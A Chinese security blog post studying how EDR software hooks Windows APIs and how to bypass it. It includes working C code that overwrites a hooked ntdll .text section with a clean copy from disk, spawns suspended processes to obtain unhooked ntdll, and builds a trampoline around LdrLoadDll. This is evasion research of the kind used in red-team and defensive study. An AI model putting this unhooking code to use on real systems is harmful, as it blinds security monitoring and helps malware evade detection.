杀毒软件脱钩(Unhoo)技术研究与实践

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习),本文仅作技术研究。

前言

API Hook是通过替换操作系统中的 API 函数来拦截对这些函数的调用。在 Windows操作系统中,许多关键函数(如 CreateFile、ReadFile、LoadLibrary等)是通过DLL导出实现的,而这些DLL又被操作系统加载到进程的地址空间中。

为了拦截这些 API 调用,EDR会修改目标DLL中的函数入口并且将EDR的DLL注入到进程中。常见的方法是将函数的开头几个字节修改为跳转指令(JMP),使得程序执行跳转到 EDR 提供的检测函数中。通过这种方式,EDR就能在目标Windows API被调用之前执行一些额外的检查,比如日志记录、恶意行为检测等。

这里通过Bit****der可以看见其将两个DLL注入到了当前进程中

1.png

2.png

这里将另外一个测试程序加入到白名单中,再次附加查看,发现并没有DLL注入

4.png

3.png

那么有什么区别呢,这里选OpenThread进行比较,这里可以看见Bit****der对于三环函数是有挂钩的(左:加了白名单,右:未加白名单)

5.png

Bit****der不仅对3环部分函数进行了Hook,对于0环部分函数也有hook(左:加了白名单,右:未加白名单)

6.png

那么如果不让Bit****der注入到进程,是否就能脱钩呢?

禁止非签DLL注入

SetProcessMitigationPolicy

Windows官方提供了相关的函数与方法实现,禁止非Microsoft、Windows应用商店或Windows 硬件签名的程序注入到进程,具体函数参考如下链接:

https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-setprocessmitigationpolicy

这里实现了个简单的demo

  1. #include
  2. int main()
  3. {
  4. PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY pmbsp = { 0 };
  5. pmbsp.StoreSignedOnly = false;
  6. pmbsp.MicrosoftSignedOnly = true;
  7. BOOL result = SetProcessMitigationPolicy(ProcessSignaturePolicy, &pmbsp, sizeof(pmbsp));
  8. if (!result) {
  9. MessageBox(NULL, "False", "False", MB_OK);
  10. }
  11. MessageBox(NULL, "Success", "Success", MB_OK);
  12. return 0;
  13. }

程序多了Signatures restricted (Microsoft only),代表生效了

7.png

但是查看Modules中还是发现被Bit****der注入了DLL

8.png

查看这两个DLL发现,被加了微软的签名,那么这个demo可以说无效了

9.png

那么是否能绕过EDR的函数Hook策略呢?

脱钩

系统调用

比如3环VirtualAlloc函数,最终调用的0环函数是NtAllocateVirtualMemory,查看NtAllocateVirtualMemory函数,可以看见最后使用syscall调用系统调用

31.png
但是程序的堆栈是不正常的,因为正常的程序0环执行结束返回3环的时候,这个返回地址应该是在ntdll所在地址范围之内。

磁盘重载ntdll

从磁盘加载一个干净的DLL文件,将其映射到内存中,并用磁盘中原始 .text 节的内容替换当前内存中已被挂钩的DLL的 .text节,来达到脱钩的目的。

简单的demo

  1. void UnHookDll(LPCSTR dllname) {
  2. MODULEINFO mi = {};
  3. HMODULE ntdllModule = GetModuleHandleA(dllname);
  4. GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi));
  5. char dllpath[MAX_PATH] = { 0 };
  6. LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
  7. sprintf_s(dllpath, "c:\\windows\\system32\\%s", dllname);
  8. HANDLE ntdllFile = CreateFileA((LPCSTR)dllpath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
  9. HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
  10. LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
  11. PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
  12. PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
  13. for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
  14. PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
  15. if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
  16. DWORD oldProtection = 0;
  17. SIZE_T virtualSize = hookedSectionHeader->Misc.VirtualSize;
  18. VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &amp;oldProtection);
  19. memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
  20. VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &amp;oldProtection);
  21. }
  22. }
  23. CloseHandle(ntdllFile);
  24. CloseHandle(ntdllMapping);
  25. FreeLibrary(ntdllModule);
  26. }

运行代码,发现三环函数已经脱钩了

10.png

内核函数也已经脱钩

11.png

挂起进程获得干净ntdll

先来创建一个被挂起的进程,简单的demo

  1. #include
  2. int main()
  3. {
  4. STARTUPINFOA si = { 0 };
  5. PROCESS_INFORMATION pi = { 0 };
  6. si.cb = sizeof(STARTUPINFOA);
  7. BOOL result = CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &amp;si, &amp;pi);
  8. if (!result) {
  9. MessageBox(NULL, "False", "False", MB_OK);
  10. }
  11. MessageBox(NULL, "Success CREATE_SUSPENDED", "Success CREATE_SUSPENDED", MB_OK);
  12. return 0;
  13. }

可以看到被挂起的进程中只有ntdll.dll,并没有其余的DLL,包括Bit****der杀软的DLL(左:被挂起的进程,右:未被挂起的进程)

12.png

并且可以看见NtWriteVirtualMemory函数并没有被挂钩

13.png

而且在同个操作系统上,不同程序加载的ntdll的基址都是相同的

14.png

因此可以确定,新起的被挂起的进程他的ntdll是没有被挂钩的,但是缺点很明显,只有Ntdll,对于kernel32.dll、KernelBase.dll还是不能脱钩,demo代码已经有外国友人实现了:https://github.com/dosxuz/PerunsFart

可以看见内核函数已经脱钩

15.png

自定义跳转函数unhook

一些EDR去Hook的方式就是去修改Windows DLL中的函数,通过在函数开头插入JMP指令来跳转到自己的检测函数

16.png
这种unhook方式就是自己去组装一个跳转函数,来进行EDR的规避。参考代码:https://github.com/trickster0/LdrLoadDll-Unhooking

先来简单看看代码的大体功能,然后再调试看看

定义与初始化,指定要加载的DLL,获取LdrLoadDll函数的地址

17.png

23.png
定义跳转指令的结构

  • jumpPrelude[] = { 0x49, 0xBB }:64 位的 mov指令
  • jumpAddress[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xDE, 0xAD, 0xBE, 0xEF }:占位符,后续会替换为实际的跳转地址
  • jumpEpilogue[] = { 0x41, 0xFF, 0xE3, 0xC3 }:跳转指令和函数返回指令

之后就是将LdrLoadDll地址5个字节后的地址放入到jmpAddr中(之所以是5个字节后,是避免将EDR的hook函数的jmp指令一同放入到jmpAddr中),然后将jmpAddr的地址放入到 jumpAddress中

18.png

24.png
将LdrLoadDll地址5个字节后的地址放入到jmpAddr中

25.png

jmpAddr的地址放入到 jumpAddress中

26.png

申请一块内存,是为了保存最终要使用的LdrLoadDll的地址

19.png

  • 第一个CCopyMemory将LdrLoadDll原始的前5个字节,放入我们开始申请的地址中,为什么要放入这五个字节呢?LdrLoadDlly原始五个字节如下,
    这样做的好处就是,代码实现把函数的前五个原始字节放入到申请的内存中,这样就规避了被hook

21.png

  • 后面的CCopyMemory就是将上面复制好的move指令、jmp指令、ret指令和实际的跳转地址放到申请的内存trampoline中

20.png

27.png

最后就是修为trampoline内存属性为可执行,最后使用newLdrLoadDll加载DLL

22.png

使用newLdrLoadDll加载DLL,进入call看看

28.png

CCopyMemory处写入的指令

29.png

jmp过去看看,跳转回到LdrLoadDll的前5个字节后的地址去执行

30.png

  • 发表于 2025-02-08 10:07:28
  • 阅读 ( 1705 )
  • 分类:渗透测试

0 条评论

事与愿违
事与愿违

9 篇文章

站长统计